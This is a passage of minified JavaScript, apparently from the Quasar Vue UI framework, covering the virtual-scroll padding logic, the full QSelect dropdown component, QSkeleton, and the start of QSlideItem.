                }), t(e, {
                    staticClass: "q-virtual-scroll__content",
                    key: "content",
                    ref: "content"
                }, i), "tbody" === e ? t(e, {
                    staticClass: "q-virtual-scroll__padding",
                    key: "after",
                    ref: "after"
                }, [t("tr", [t("td", {
                    style: (o = {},
                    o[a] = this.virtualScrollPaddingAfter + "px",
                    o),
                    attrs: {
                        colspan: "100%"
                    }
                })])]) : t(e, {
                    staticClass: "q-virtual-scroll__padding",
                    key: "after",
                    ref: "after",
                    style: (r = {},
                    r[a] = this.virtualScrollPaddingAfter + "px",
                    r)
                })]
            },
            __emitScroll: function(t) {
                this.prevToIndex !== t && (void 0 !== this.qListeners["virtual-scroll"] && this.$emit("virtual-scroll", {
                    index: t,
                    from: this.virtualScrollSliceRange.from,
                    to: this.virtualScrollSliceRange.to - 1,
                    direction: t < this.prevToIndex ? "decrease" : "increase",
                    ref: this
                }),
                this.prevToIndex = t)
            }
        },
        created: function() {
            this.__setVirtualScrollSize()
        },
        beforeMount: function() {
            this.__onVirtualScrollEvt = $(this.__onVirtualScrollEvt, 70),
            this.__setScroll = Zo(_r),
            this.__setVirtualScrollSize()
        }
    }
      , xr = function(t) {
        return ["add", "add-unique", "toggle"].includes(t)
    }
      , Cr = t.extend({
        name: "QSelect",
        mixins: [kn, Sr, In, li, Mt],
        props: {
            value: {
                required: !0
            },
            multiple: Boolean,
            displayValue: [String, Number],
            displayValueSanitize: Boolean,
            dropdownIcon: String,
            options: {
                type: Array,
                default: function() {
                    return []
                }
            },
            optionValue: [Function, String],
            optionLabel: [Function, String],
            optionDisable: [Function, String],
            hideSelected: Boolean,
            hideDropdownIcon: Boolean,
            fillInput: Boolean,
            maxValues: [Number, String],
            optionsDense: Boolean,
            optionsDark: {
                type: Boolean,
                default: null
            },
            optionsSelectedClass: String,
            optionsSanitize: Boolean,
            optionsCover: Boolean,
            menuShrink: Boolean,
            menuAnchor: String,
            menuSelf: String,
            menuOffset: Array,
            popupContentClass: String,
            popupContentStyle: [String, Array, Object],
            useInput: Boolean,
            useChips: Boolean,
            newValueMode: {
                type: String,
                validator: xr
            },
            mapOptions: Boolean,
            emitValue: Boolean,
            inputDebounce: {
                type: [Number, String],
                default: 500
            },
            inputClass: [Array, String, Object],
            inputStyle: [Array, String, Object],
            tabindex: {
                type: [String, Number],
                default: 0
            },
            transitionShow: String,
            transitionHide: String,
            behavior: {
                type: String,
                validator: function(t) {
                    return ["default", "menu", "dialog"].includes(t)
                },
                default: "default"
            }
        },
        data: function() {
            return {
                menu: !1,
                dialog: !1,
                optionIndex: -1,
                inputValue: "",
                dialogFieldFocused: !1
            }
        },
        watch: {
            innerValue: {
                handler: function(t) {
                    this.innerValueCache = t,
                    !0 === this.useInput && !0 === this.fillInput && !0 !== this.multiple && !0 !== this.innerLoading && (!0 !== this.dialog && !0 !== this.menu || !0 !== this.hasValue) && (!0 !== this.userInputValue && this.__resetInputValue(),
                    !0 !== this.dialog && !0 !== this.menu || this.filter(""))
                },
                immediate: !0
            },
            fillInput: function() {
                this.__resetInputValue()
            },
            menu: function(t) {
                this.__updateMenu(t)
            }
        },
        computed: {
            isOptionsDark: function() {
                return null === this.optionsDark ? this.isDark : this.optionsDark
            },
            virtualScrollLength: function() {
                return Array.isArray(this.options) ? this.options.length : 0
            },
            fieldClass: function() {
                return "q-select q-field--auto-height q-select--with" + (!0 !== this.useInput ? "out" : "") + "-input q-select--with" + (!0 !== this.useChips ? "out" : "") + "-chips"
            },
            computedInputClass: function() {
                return !0 === this.hideSelected || 0 === this.innerValue.length ? this.inputClass : void 0 === this.inputClass ? "q-field__input--padding" : [this.inputClass, "q-field__input--padding"]
            },
            menuContentClass: function() {
                return (!0 === this.virtualScrollHorizontal ? "q-virtual-scroll--horizontal" : "") + (this.popupContentClass ? " " + this.popupContentClass : "")
            },
            innerValue: function() {
                var t = this
                  , e = !0 === this.mapOptions && !0 !== this.multiple
                  , i = void 0 === this.value || null === this.value && !0 !== e ? [] : !0 === this.multiple && Array.isArray(this.value) ? this.value : [this.value];
                if (!0 === this.mapOptions && !0 === Array.isArray(this.options)) {
                    var s = !0 === this.mapOptions && void 0 !== this.innerValueCache ? this.innerValueCache : []
                      , n = i.map(function(e) {
                        return t.__getOption(e, s)
                    });
                    return null === this.value && !0 === e ? n.filter(function(t) {
                        return null !== t
                    }) : n
                }
                return i
            },
            noOptions: function() {
                return 0 === this.virtualScrollLength
            },
            selectedString: function() {
                var t = this;
                return this.innerValue.map(function(e) {
                    return t.getOptionLabel(e)
                }).join(", ")
            },
            sanitizeFn: function() {
                return !0 === this.optionsSanitize ? function() {
                    return !0
                }
                : function(t) {
                    return void 0 !== t && null !== t && !0 === t.sanitize
                }
            },
            displayAsText: function() {
                return !0 === this.displayValueSanitize || void 0 === this.displayValue && (!0 === this.optionsSanitize || this.innerValue.some(this.sanitizeFn))
            },
            computedTabindex: function() {
                return !0 === this.focused ? this.tabindex : -1
            },
            selectedScope: function() {
                var t = this;
                return this.innerValue.map(function(e, i) {
                    return {
                        index: i,
                        opt: e,
                        sanitize: t.sanitizeFn(e),
                        selected: !0,
                        removeAtIndex: t.__removeAtIndexAndFocus,
                        toggleOption: t.toggleOption,
                        tabindex: t.computedTabindex
                    }
                })
            },
            optionScope: function() {
                var t = this;
                if (0 === this.virtualScrollLength)
                    return [];
                var e = this.virtualScrollSliceRange
                  , i = e.from
                  , s = e.to;
                return this.options.slice(i, s).map(function(e, s) {
                    var n = !0 === t.isOptionDisabled(e)
                      , o = i + s
                      , r = {
                        clickable: !0,
                        active: !1,
                        activeClass: t.computedOptionsSelectedClass,
                        manualFocus: !0,
                        focused: !1,
                        disable: n,
                        tabindex: -1,
                        dense: t.optionsDense,
                        dark: t.isOptionsDark
                    };
                    !0 !== n && (!0 === t.isOptionSelected(e) && (r.active = !0),
                    t.optionIndex === o && (r.focused = !0));
                    var a = {
                        click: function() {
                            t.toggleOption(e)
                        }
                    };
                    return !0 === t.$q.platform.is.desktop && (a.mousemove = function() {
                        t.setOptionIndex(o)
                    }
                    ),
                    {
                        index: o,
                        opt: e,
                        sanitize: t.sanitizeFn(e),
                        selected: r.active,
                        focused: r.focused,
                        toggleOption: t.toggleOption,
                        setOptionIndex: t.setOptionIndex,
                        itemProps: r,
                        itemEvents: a
                    }
                })
            },
            dropdownArrowIcon: function() {
                return void 0 !== this.dropdownIcon ? this.dropdownIcon : this.$q.iconSet.arrow.dropdown
            },
            squaredMenu: function() {
                return !1 === this.optionsCover && !0 !== this.outlined && !0 !== this.standout && !0 !== this.borderless && !0 !== this.rounded
            },
            computedOptionsSelectedClass: function() {
                return void 0 !== this.optionsSelectedClass ? this.optionsSelectedClass : void 0 !== this.color ? "text-" + this.color : ""
            },
            innerOptionsValue: function() {
                var t = this;
                return this.innerValue.map(function(e) {
                    return t.getOptionValue(e)
                })
            },
            getOptionValue: function() {
                return this.__getPropValueFn("optionValue", "value")
            },
            getOptionLabel: function() {
                return this.__getPropValueFn("optionLabel", "label")
            },
            isOptionDisabled: function() {
                return this.__getPropValueFn("optionDisable", "disable")
            },
            inputControlEvents: function() {
                var t = this
                  , e = {
                    input: this.__onInput,
                    change: this.__onChange,
                    keydown: this.__onTargetKeydown,
                    keyup: this.__onTargetKeyup,
                    keypress: this.__onTargetKeypress,
                    focus: this.__selectInputText,
                    click: function(e) {
                        !0 === t.hasDialog && y(e)
                    }
                };
                return e.compositionstart = e.compositionupdate = e.compositionend = this.__onComposition,
                e
            }
        },
        methods: {
            getEmittingOptionValue: function(t) {
                return !0 === this.emitValue ? this.getOptionValue(t) : t
            },
            removeAtIndex: function(t) {
                if (t > -1 && t < this.innerValue.length)
                    if (!0 === this.multiple) {
                        var e = this.value.slice();
                        this.$emit("remove", {
                            index: t,
                            value: e.splice(t, 1)[0]
                        }),
                        this.$emit("input", e)
                    } else
                        this.$emit("input", null)
            },
            __removeAtIndexAndFocus: function(t) {
                this.removeAtIndex(t),
                this.__focus()
            },
            add: function(t, e) {
                var i = this.getEmittingOptionValue(t);
                if (!0 !== this.multiple)
                    return !0 === this.fillInput && this.updateInputValue(this.getOptionLabel(t), !0, !0),
                    void this.$emit("input", i);
                if (0 === this.innerValue.length)
                    return this.$emit("add", {
                        index: 0,
                        value: i
                    }),
                    void this.$emit("input", !0 === this.multiple ? [i] : i);
                if (!(!0 === e && !0 === this.isOptionSelected(t) || void 0 !== this.maxValues && this.value.length >= this.maxValues)) {
                    var s = this.value.slice();
                    this.$emit("add", {
                        index: s.length,
                        value: i
                    }),
                    s.push(i),
                    this.$emit("input", s)
                }
            },
            toggleOption: function(t, e) {
                if (!0 === this.editable && void 0 !== t && !0 !== this.isOptionDisabled(t)) {
                    var i = this.getOptionValue(t);
                    if (!0 !== this.multiple)
                        return !0 !== e && (this.updateInputValue(!0 === this.fillInput ? this.getOptionLabel(t) : "", !0, !0),
                        this.hidePopup()),
                        void 0 !== this.$refs.target && this.$refs.target.focus(),
                        void (!0 !== wi(this.getOptionValue(this.innerValue[0]), i) && this.$emit("input", !0 === this.emitValue ? i : t));
                    if ((!0 !== this.hasDialog || !0 === this.dialogFieldFocused) && this.__focus(),
                    this.__selectInputText(),
                    0 === this.innerValue.length) {
                        var s = !0 === this.emitValue ? i : t;
                        return this.$emit("add", {
                            index: 0,
                            value: s
                        }),
                        void this.$emit("input", !0 === this.multiple ? [s] : s)
                    }
                    var n = this.value.slice()
                      , o = this.innerOptionsValue.findIndex(function(t) {
                        return wi(t, i)
                    });
                    if (o > -1)
                        this.$emit("remove", {
                            index: o,
                            value: n.splice(o, 1)[0]
                        });
                    else {
                        if (void 0 !== this.maxValues && n.length >= this.maxValues)
                            return;
                        var r = !0 === this.emitValue ? i : t;
                        this.$emit("add", {
                            index: n.length,
                            value: r
                        }),
                        n.push(r)
                    }
                    this.$emit("input", n)
                }
            },
            setOptionIndex: function(t) {
                if (!0 === this.$q.platform.is.desktop) {
                    var e = t > -1 && t < this.virtualScrollLength ? t : -1;
                    this.optionIndex !== e && (this.optionIndex = e)
                }
            },
            moveOptionSelection: function(t, e) {
                if (void 0 === t && (t = 1),
                !0 === this.menu) {
                    var i = this.optionIndex;
                    do {
                        i = dt(i + t, -1, this.virtualScrollLength - 1)
                    } while (-1 !== i && i !== this.optionIndex && !0 === this.isOptionDisabled(this.options[i]));
                    this.optionIndex !== i && (this.setOptionIndex(i),
                    this.scrollTo(i),
                    !0 !== e && !0 === this.useInput && !0 === this.fillInput && this.__setInputValue(i >= 0 ? this.getOptionLabel(this.options[i]) : this.defaultInputValue))
                }
            },
            __getOption: function(t, e) {
                var i = this
                  , s = function(e) {
                    return wi(i.getOptionValue(e), t)
                };
                return this.options.find(s) || e.find(s) || t
            },
            __getPropValueFn: function(t, e) {
                var i = void 0 !== this[t] ? this[t] : e;
                return "function" == typeof i ? i : function(t) {
                    return Object(t) === t && i in t ? t[i] : t
                }
            },
            isOptionSelected: function(t) {
                var e = this.getOptionValue(t);
                return void 0 !== this.innerOptionsValue.find(function(t) {
                    return wi(t, e)
                })
            },
            __selectInputText: function() {
                !0 === this.useInput && void 0 !== this.$refs.target && this.$refs.target.select()
            },
            __onTargetKeyup: function(t) {
                !0 === tt(t, 27) && !0 === this.menu && (y(t),
                this.hidePopup(),
                this.__resetInputValue()),
                this.$emit("keyup", t)
            },
            __onTargetAutocomplete: function(t) {
                var e = this
                  , i = t.target.value;
                if (t.target.value = "",
                void 0 === t.keyCode) {
                    if ("string" == typeof i && i.length > 0) {
                        var s = i.toLocaleLowerCase()
                          , n = function(t) {
                            return e.getOptionValue(t).toLocaleLowerCase() === s
                        }
                          , o = this.options.find(n);
                        null !== o ? -1 === this.innerValue.indexOf(o) && this.toggleOption(o) : (n = function(t) {
                            return e.getOptionLabel(t).toLocaleLowerCase() === s
                        }
                        ,
                        null !== (o = this.options.find(n)) && -1 === this.innerValue.indexOf(o) && this.toggleOption(o))
                    }
                } else
                    this.__onTargetKeyup(t)
            },
            __onTargetKeypress: function(t) {
                this.$emit("keypress", t)
            },
            __onTargetKeydown: function(t) {
                var e = this;
                if (this.$emit("keydown", t),
                !0 !== J(t)) {
                    var i = this.inputValue.length > 0 && (void 0 !== this.newValueMode || void 0 !== this.qListeners["new-value"])
                      , s = !0 !== t.shiftKey && !0 !== this.multiple && (this.optionIndex > -1 || !0 === i);
                    if (27 !== t.keyCode)
                        if (9 !== t.keyCode || !1 !== s) {
                            if (void 0 !== t.target && t.target.id === this.targetUid) {
                                if (40 === t.keyCode && !0 !== this.innerLoading && !1 === this.menu)
                                    return S(t),
                                    void this.showPopup();
                                if (8 === t.keyCode && !0 === this.multiple && !0 !== this.hideSelected && 0 === this.inputValue.length && Array.isArray(this.value))
                                    this.removeAtIndex(this.value.length - 1);
                                else {
                                    38 !== t.keyCode && 40 !== t.keyCode || (S(t),
                                    this.moveOptionSelection(38 === t.keyCode ? -1 : 1, this.multiple));
                                    var n = this.virtualScrollLength;
                                    if ((void 0 === this.searchBuffer || this.searchBufferExp < Date.now()) && (this.searchBuffer = ""),
                                    n > 0 && !0 !== this.useInput && 1 === t.key.length && t.altKey === t.ctrlKey && (32 !== t.keyCode || this.searchBuffer.length > 0)) {
                                        !0 !== this.menu && this.showPopup(t);
                                        var o = t.key.toLocaleLowerCase()
                                          , r = 1 === this.searchBuffer.length && this.searchBuffer[0] === o;
                                        this.searchBufferExp = Date.now() + 1500,
                                        !1 === r && (S(t),
                                        this.searchBuffer += o);
                                        var a = new RegExp("^" + this.searchBuffer.split("").map(function(t) {
                                            return ".*+?^${}()|[]\\".indexOf(t) > -1 ? "\\" + t : t
                                        }).join(".*"),"i")
                                          , l = this.optionIndex;
                                        if (!0 === r || l < 0 || !0 !== a.test(this.getOptionLabel(this.options[l])))
                                            do {
                                                l = dt(l + 1, -1, n - 1)
                                            } while (l !== this.optionIndex && (!0 === this.isOptionDisabled(this.options[l]) || !0 !== a.test(this.getOptionLabel(this.options[l]))));
                                        this.optionIndex !== l && this.$nextTick(function() {
                                            e.setOptionIndex(l),
                                            e.scrollTo(l),
                                            l >= 0 && !0 === e.useInput && !0 === e.fillInput && e.__setInputValue(e.getOptionLabel(e.options[l]))
                                        })
                                    } else if (13 === t.keyCode || 32 === t.keyCode && !0 !== this.useInput && "" === this.searchBuffer || 9 === t.keyCode && !1 !== s)
                                        if (9 !== t.keyCode && S(t),
                                        this.optionIndex > -1 && this.optionIndex < n)
                                            this.toggleOption(this.options[this.optionIndex]);
                                        else {
                                            if (!0 === i) {
                                                var c = function(t, i) {
                                                    if (i) {
                                                        if (!0 !== xr(i))
                                                            return
                                                    } else
                                                        i = e.newValueMode;
                                                    void 0 !== t && null !== t && (e.updateInputValue("", !0 !== e.multiple, !0),
                                                    e["toggle" === i ? "toggleOption" : "add"](t, "add-unique" === i),
                                                    !0 !== e.multiple && (void 0 !== e.$refs.target && e.$refs.target.focus(),
                                                    e.hidePopup()))
                                                };
                                                if (void 0 !== this.qListeners["new-value"] ? this.$emit("new-value", this.inputValue, c) : c(this.inputValue),
                                                !0 !== this.multiple)
                                                    return
                                            }
                                            !0 === this.menu ? this.__closeMenu() : !0 !== this.innerLoading && this.showPopup()
                                        }
                                }
                            }
                        } else
                            this.__closeMenu();
                    else
                        w(t)
                }
            },
            __getVirtualScrollEl: function() {
                return !0 === this.hasDialog ? this.$refs.menuContent : void 0 !== this.$refs.menu && void 0 !== this.$refs.menu.__portal ? this.$refs.menu.__portal.$el : void 0
            },
            __getVirtualScrollTarget: function() {
                return this.__getVirtualScrollEl()
            },
            __getSelection: function(t, e) {
                var i, s = this;
                return !0 === this.hideSelected ? !0 === e || !0 !== this.dialog || !0 !== this.hasDialog ? [] : [t("span", {
                    domProps: {
                        textContent: this.inputValue
                    }
                })] : void 0 !== this.$scopedSlots["selected-item"] ? this.selectedScope.map(function(t) {
                    return s.$scopedSlots["selected-item"](t)
                }).slice() : void 0 !== this.$scopedSlots.selected ? this.$scopedSlots.selected().slice() : !0 === this.useChips ? this.selectedScope.map(function(e, i) {
                    var n;
                    return t(Pi, {
                        key: "option-" + i,
                        props: {
                            removable: !0 === s.editable && !0 !== s.isOptionDisabled(e.opt),
                            dense: !0,
                            textColor: s.color,
                            tabindex: s.computedTabindex
                        },
                        on: mt(s, "rem#" + i, {
                            remove: function() {
                                e.removeAtIndex(i)
                            }
                        })
                    }, [t("span", {
                        staticClass: "ellipsis",
                        domProps: (n = {},
                        n[!0 === e.sanitize ? "textContent" : "innerHTML"] = s.getOptionLabel(e.opt),
                        n)
                    })])
                }) : [t("span", {
                    domProps: (i = {},
                    i[this.displayAsText ? "textContent" : "innerHTML"] = void 0 !== this.displayValue ? this.displayValue : this.selectedString,
                    i)
                })]
            },
            __getControl: function(t, e) {
                var i = this.__getSelection(t, e)
                  , s = !0 === e || !0 !== this.dialog || !0 !== this.hasDialog;
                if (!0 === s && !0 === this.useInput ? i.push(this.__getInput(t, e)) : !0 === this.editable && (!0 === s && i.push(t("div", {
                    ref: "target",
                    key: "d_t",
                    staticClass: "no-outline",
                    attrs: {
                        id: this.targetUid,
                        tabindex: this.tabindex
                    },
                    on: mt(this, "f-tget", {
                        keydown: this.__onTargetKeydown,
                        keyup: this.__onTargetKeyup,
                        keypress: this.__onTargetKeypress
                    })
                })),
                void 0 !== this.qAttrs.autocomplete && i.push(t("input", {
                    staticClass: "q-select__autocomplete-input no-outline",
                    attrs: {
                        autocomplete: this.qAttrs.autocomplete
                    },
                    on: mt(this, "autoinp", {
                        keyup: this.__onTargetAutocomplete
                    })
                }))),
                void 0 !== this.nameProp && !0 !== this.disable && this.innerOptionsValue.length > 0) {
                    var n = this.innerOptionsValue.map(function(e) {
                        return t("option", {
                            attrs: {
                                value: e,
                                selected: !0
                            }
                        })
                    });
                    i.push(t("select", {
                        staticClass: "hidden",
                        attrs: {
                            name: this.nameProp,
                            multiple: this.multiple
                        }
                    }, n))
                }
                return t("div", {
                    staticClass: "q-field__native row items-center",
                    attrs: this.qAttrs
                }, i)
            },
            __getOptions: function(t) {
                var e = this;
                if (!0 === this.menu) {
                    var i = void 0 !== this.$scopedSlots.option ? this.$scopedSlots.option : function(i) {
                        var s;
                        return t(Nn, {
                            key: i.index,
                            props: i.itemProps,
                            on: i.itemEvents
                        }, [t(Hn, [t(ro, {
                            domProps: (s = {},
                            s[!0 === i.sanitize ? "textContent" : "innerHTML"] = e.getOptionLabel(i.opt),
                            s)
                        })])])
                    }
                      , s = this.__padVirtualScroll(t, "div", this.optionScope.map(i));
                    return void 0 !== this.$scopedSlots["before-options"] && (s = this.$scopedSlots["before-options"]().concat(s)),
                    Pt(s, this, "after-options")
                }
            },
            __getInnerAppend: function(t) {
                return !0 !== this.loading && !0 !== this.innerLoading && !0 !== this.hideDropdownIcon ? [t(Et, {
                    staticClass: "q-select__dropdown-icon",
                    props: {
                        name: this.dropdownArrowIcon
                    }
                })] : null
            },
            __getInput: function(t, e) {
                var i = {
                    ref: "target",
                    key: "i_t",
                    staticClass: "q-field__input q-placeholder col",
                    style: this.inputStyle,
                    class: this.computedInputClass,
                    domProps: {
                        value: void 0 !== this.inputValue ? this.inputValue : ""
                    },
                    attrs: Object.assign({}, {
                        type: "search"
                    }, this.qAttrs, {
                        id: this.targetUid,
                        maxlength: this.maxlength,
                        tabindex: this.tabindex,
                        "data-autofocus": !0 !== e && this.autofocus,
                        disabled: !0 === this.disable,
                        readonly: !0 === this.readonly
                    }),
                    on: this.inputControlEvents
                };
                return !0 !== e && !0 === this.hasDialog && (i.staticClass += " no-pointer-events",
                i.attrs.readonly = !0),
                t("input", i)
            },
            __onChange: function(t) {
                this.__onComposition(t)
            },
            __onInput: function(t) {
                var e = this;
                clearTimeout(this.inputTimer),
                t && t.target && !0 === t.target.composing || (this.__setInputValue(t.target.value || ""),
                this.userInputValue = !0,
                this.defaultInputValue = this.inputValue,
                !0 === this.focused || !0 === this.hasDialog && !0 !== this.dialogFieldFocused || this.__focus(),
                void 0 !== this.qListeners.filter && (this.inputTimer = setTimeout(function() {
                    e.filter(e.inputValue)
                }, this.inputDebounce)))
            },
            __setInputValue: function(t) {
                this.inputValue !== t && (this.inputValue = t,
                this.$emit("input-value", t))
            },
            updateInputValue: function(t, e, i) {
                this.userInputValue = !0 !== i,
                !0 === this.useInput && (this.__setInputValue(t),
                !0 !== e && !0 === i || (this.defaultInputValue = t),
                !0 !== e && this.filter(t))
            },
            filter: function(t) {
                var e = this;
                if (void 0 !== this.qListeners.filter && !0 === this.focused) {
                    !0 === this.innerLoading ? this.$emit("filter-abort") : this.innerLoading = !0,
                    "" !== t && !0 !== this.multiple && this.innerValue.length > 0 && !0 !== this.userInputValue && t === this.getOptionLabel(this.innerValue[0]) && (t = "");
                    var i = setTimeout(function() {
                        !0 === e.menu && (e.menu = !1)
                    }, 10);
                    clearTimeout(this.filterId),
                    this.filterId = i,
                    this.$emit("filter", t, function(t, s) {
                        !0 === e.focused && e.filterId === i && (clearTimeout(e.filterId),
                        "function" == typeof t && t(),
                        e.$nextTick(function() {
                            e.innerLoading = !1,
                            !0 === e.editable && (!0 === e.menu ? e.__updateMenu(!0) : e.menu = !0),
                            "function" == typeof s && e.$nextTick(function() {
                                s(e)
                            })
                        }))
                    }, function() {
                        !0 === e.focused && e.filterId === i && (clearTimeout(e.filterId),
                        e.innerLoading = !1),
                        !0 === e.menu && (e.menu = !1)
                    })
                }
            },
            __getControlEvents: function() {
                var t = this
                  , e = function(e) {
                    t.__onControlFocusout(e, function() {
                        t.__resetInputValue(),
                        t.__closeMenu()
                    })
                };
                return {
                    focusin: this.__onControlFocusin,
                    focusout: e,
                    "popup-show": this.__onControlPopupShow,
                    "popup-hide": function(i) {
                        void 0 !== i && y(i),
                        t.$emit("popup-hide", i),
                        t.hasPopupOpen = !1,
                        e(i)
                    },
                    click: function(e) {
                        if (!0 !== t.hasDialog) {
                            if (!0 === t.useInput && !0 !== e.target.classList.contains("q-field__input") || !0 !== t.useInput && !0 === e.target.classList.contains("no-outline"))
                                return;
                            if (!0 === t.menu)
                                return t.__closeMenu(),
                                void (void 0 !== t.$refs.target && t.$refs.target.focus())
                        }
                        t.showPopup(e)
                    }
                }
            },
            __getControlChild: function(t) {
                if (!1 !== this.editable && (!0 === this.dialog || !0 !== this.noOptions || void 0 !== this.$scopedSlots["no-option"]))
                    return this["__get" + (!0 === this.hasDialog ? "Dialog" : "Menu")](t)
            },
            __getMenu: function(t) {
                var e = !0 === this.noOptions ? void 0 !== this.$scopedSlots["no-option"] ? this.$scopedSlots["no-option"]({
                    inputValue: this.inputValue
                }) : null : this.__getOptions(t);
                return t(oi, {
                    ref: "menu",
                    props: {
                        value: this.menu,
                        fit: !0 !== this.menuShrink,
                        cover: !0 === this.optionsCover && !0 !== this.noOptions && !0 !== this.useInput,
                        anchor: this.menuAnchor,
                        self: this.menuSelf,
                        offset: this.menuOffset,
                        contentClass: this.menuContentClass,
                        contentStyle: this.popupContentStyle,
                        dark: this.isOptionsDark,
                        noParentEvent: !0,
                        noRefocus: !0,
                        noFocus: !0,
                        square: this.squaredMenu,
                        transitionShow: this.transitionShow,
                        transitionHide: this.transitionHide,
                        separateClosePopup: !0
                    },
                    on: mt(this, "menu", {
                        "&scroll": this.__onVirtualScrollEvt,
                        "before-hide": this.__closeMenu
                    })
                }, e)
            },
            __onDialogFieldFocus: function(t) {
                y(t),
                void 0 !== this.$refs.target && this.$refs.target.focus(),
                this.dialogFieldFocused = !0,
                window.scrollTo(window.pageXOffset || window.scrollX || document.body.scrollLeft || 0, 0)
            },
            __onDialogFieldBlur: function(t) {
                var e = this;
                y(t),
                this.$nextTick(function() {
                    e.dialogFieldFocused = !1
                })
            },
            __getDialog: function(t) {
                var e = this
                  , i = [t(kn, {
                    staticClass: "col-auto " + this.fieldClass,
                    props: Object.assign({}, this.$props, {
                        for: this.targetUid,
                        dark: this.isOptionsDark,
                        square: !0,
                        loading: this.innerLoading,
                        filled: !0,
                        stackLabel: this.inputValue.length > 0
                    }),
                    on: Object.assign({}, this.qListeners, {
                        focus: this.__onDialogFieldFocus,
                        blur: this.__onDialogFieldBlur
                    }),
                    scopedSlots: Object.assign({}, this.$scopedSlots, {
                        rawControl: function() {
                            return e.__getControl(t, !0)
                        },
                        before: void 0,
                        after: void 0
                    })
                })];
                return !0 === this.menu && i.push(t("div", {
                    ref: "menuContent",
                    staticClass: "scroll",
                    class: this.menuContentClass,
                    style: this.popupContentStyle,
                    on: mt(this, "virtMenu", {
                        click: w,
                        "&scroll": this.__onVirtualScrollEvt
                    })
                }, !0 === this.noOptions ? void 0 !== this.$scopedSlots["no-option"] ? this.$scopedSlots["no-option"]({
                    inputValue: this.inputValue
                }) : null : this.__getOptions(t))),
                t(pn, {
                    ref: "dialog",
                    props: {
                        value: this.dialog,
                        dark: this.isOptionsDark,
                        position: !0 === this.useInput ? "top" : void 0,
                        transitionShow: this.transitionShowComputed,
                        transitionHide: this.transitionHide
                    },
                    on: mt(this, "dialog", {
                        "before-hide": this.__onDialogBeforeHide,
                        hide: this.__onDialogHide,
                        show: this.__onDialogShow
                    })
                }, [t("div", {
                    staticClass: "q-select__dialog" + (!0 === this.isOptionsDark ? " q-select__dialog--dark q-dark" : "") + (!0 === this.dialogFieldFocused ? " q-select__dialog--focused" : "")
                }, i)])
            },
            __onDialogBeforeHide: function() {
                this.$refs.dialog.__refocusTarget = this.$el.querySelector(".q-field__native > [tabindex]:last-child"),
                this.focused = !1
            },
            __onDialogHide: function(t) {
                this.hidePopup(),
                !1 === this.focused && this.$emit("blur", t),
                this.__resetInputValue()
            },
            __onDialogShow: function() {
                var t = document.activeElement;
                null !== t && t.id === this.targetUid || this.$refs.target === t || void 0 === this.$refs.target || this.$refs.target.focus()
            },
            __closeMenu: function() {
                !0 !== this.dialog && (this.optionIndex = -1,
                !0 === this.menu && (this.menu = !1),
                !1 === this.focused && (clearTimeout(this.filterId),
                this.filterId = void 0,
                !0 === this.innerLoading && (this.$emit("filter-abort"),
                this.innerLoading = !1)))
            },
            showPopup: function(t) {
                var e = this;
                !0 === this.editable && (!0 === this.hasDialog ? (this.__onControlFocusin(t),
                this.dialog = !0,
                this.$nextTick(function() {
                    e.__focus()
                })) : this.__focus(),
                void 0 !== this.qListeners.filter ? this.filter(this.inputValue) : !0 === this.noOptions && void 0 === this.$scopedSlots["no-option"] || (this.menu = !0))
            },
            hidePopup: function() {
                this.dialog = !1,
                this.__closeMenu()
            },
            __resetInputValue: function() {
                !0 === this.useInput && this.updateInputValue(!0 !== this.multiple && !0 === this.fillInput && this.innerValue.length > 0 && this.getOptionLabel(this.innerValue[0]) || "", !0, !0)
            },
            __updateMenu: function(t) {
                var e = this
                  , i = -1;
                if (!0 === t) {
                    if (this.innerValue.length > 0) {
                        var s = this.getOptionValue(this.innerValue[0]);
                        i = this.options.findIndex(function(t) {
                            return wi(e.getOptionValue(t), s)
                        })
                    }
                    this.__resetVirtualScroll(i)
                }
                this.setOptionIndex(i)
            },
            __onPreRender: function() {
                this.hasDialog = (!0 === this.$q.platform.is.mobile || "dialog" === this.behavior) && ("menu" !== this.behavior && (!0 !== this.useInput || (void 0 !== this.$scopedSlots["no-option"] || void 0 !== this.qListeners.filter || !1 === this.noOptions))),
                this.transitionShowComputed = !0 === this.hasDialog && !0 === this.useInput && !0 === this.$q.platform.is.ios ? "fade" : this.transitionShow
            },
            __onPostRender: function() {
                !1 === this.dialog && void 0 !== this.$refs.menu && this.$refs.menu.updatePosition()
            },
            updateMenuPosition: function() {
                this.__onPostRender()
            }
        },
        beforeDestroy: function() {
            clearTimeout(this.inputTimer)
        }
    })
      , kr = ["text", "rect", "circle", "QBtn", "QBadge", "QChip", "QToolbar", "QCheckbox", "QRadio", "QToggle", "QSlider", "QRange", "QInput", "QAvatar"]
      , qr = ["wave", "pulse", "pulse-x", "pulse-y", "fade", "blink", "none"]
      , Tr = t.extend({
        name: "QSkeleton",
        mixins: [Dt, $t, Mt],
        props: {
            type: {
                type: String,
                validator: function(t) {
                    return kr.includes(t)
                },
                default: "rect"
            },
            animation: {
                type: String,
                validator: function(t) {
                    return qr.includes(t)
                },
                default: "wave"
            },
            square: Boolean,
            bordered: Boolean,
            size: String,
            width: String,
            height: String
        },
        computed: {
            style: function() {
                return void 0 !== this.size ? {
                    width: this.size,
                    height: this.size
                } : {
                    width: this.width,
                    height: this.height
                }
            },
            classes: function() {
                return "q-skeleton--" + (!0 === this.isDark ? "dark" : "light") + " q-skeleton--type-" + this.type + ("none" !== this.animation ? " q-skeleton--anim q-skeleton--anim-" + this.animation : "") + (!0 === this.square ? " q-skeleton--square" : "") + (!0 === this.bordered ? " q-skeleton--bordered" : "")
            }
        },
        render: function(t) {
            return t(this.tag, {
                staticClass: "q-skeleton",
                class: this.classes,
                style: this.style,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , $r = [["left", "center", "start", "width"], ["right", "center", "end", "width"], ["top", "start", "center", "height"], ["bottom", "end", "center", "height"]]
      , Mr = t.extend({
        name: "QSlideItem",
        mixins: [Dt, Mt],
        props: {
            leftColor: String,
            rightColor: String,
            topColor: String,
            bottomColor: String
        },
        directives: {
            TouchPan: Qi
        },
        computed: {
            langDir: function() {
                return !0 === this.$q.lang.rtl ? {
                    left: "right",
                    right: "left"
                } : {
                    left: "left",
                    right: "right"
                }
            }
        },
        methods: {
            reset: function() {
                this.$refs.content.style.transform = "translate(0,0)"
            },
            __pan: function(t) {
                var e, i, s, n = this, o = this.$refs.content;
                if (t.isFirst)
                    this.__dir = null,
                    this.__size = {
                        left: 0,
                        right: 0,
                        top: 0,
                        bottom: 0
                    },
                    this.__scale = 0,
                    o.classList.add("no-transition"),
                    $r.forEach(function(t) {
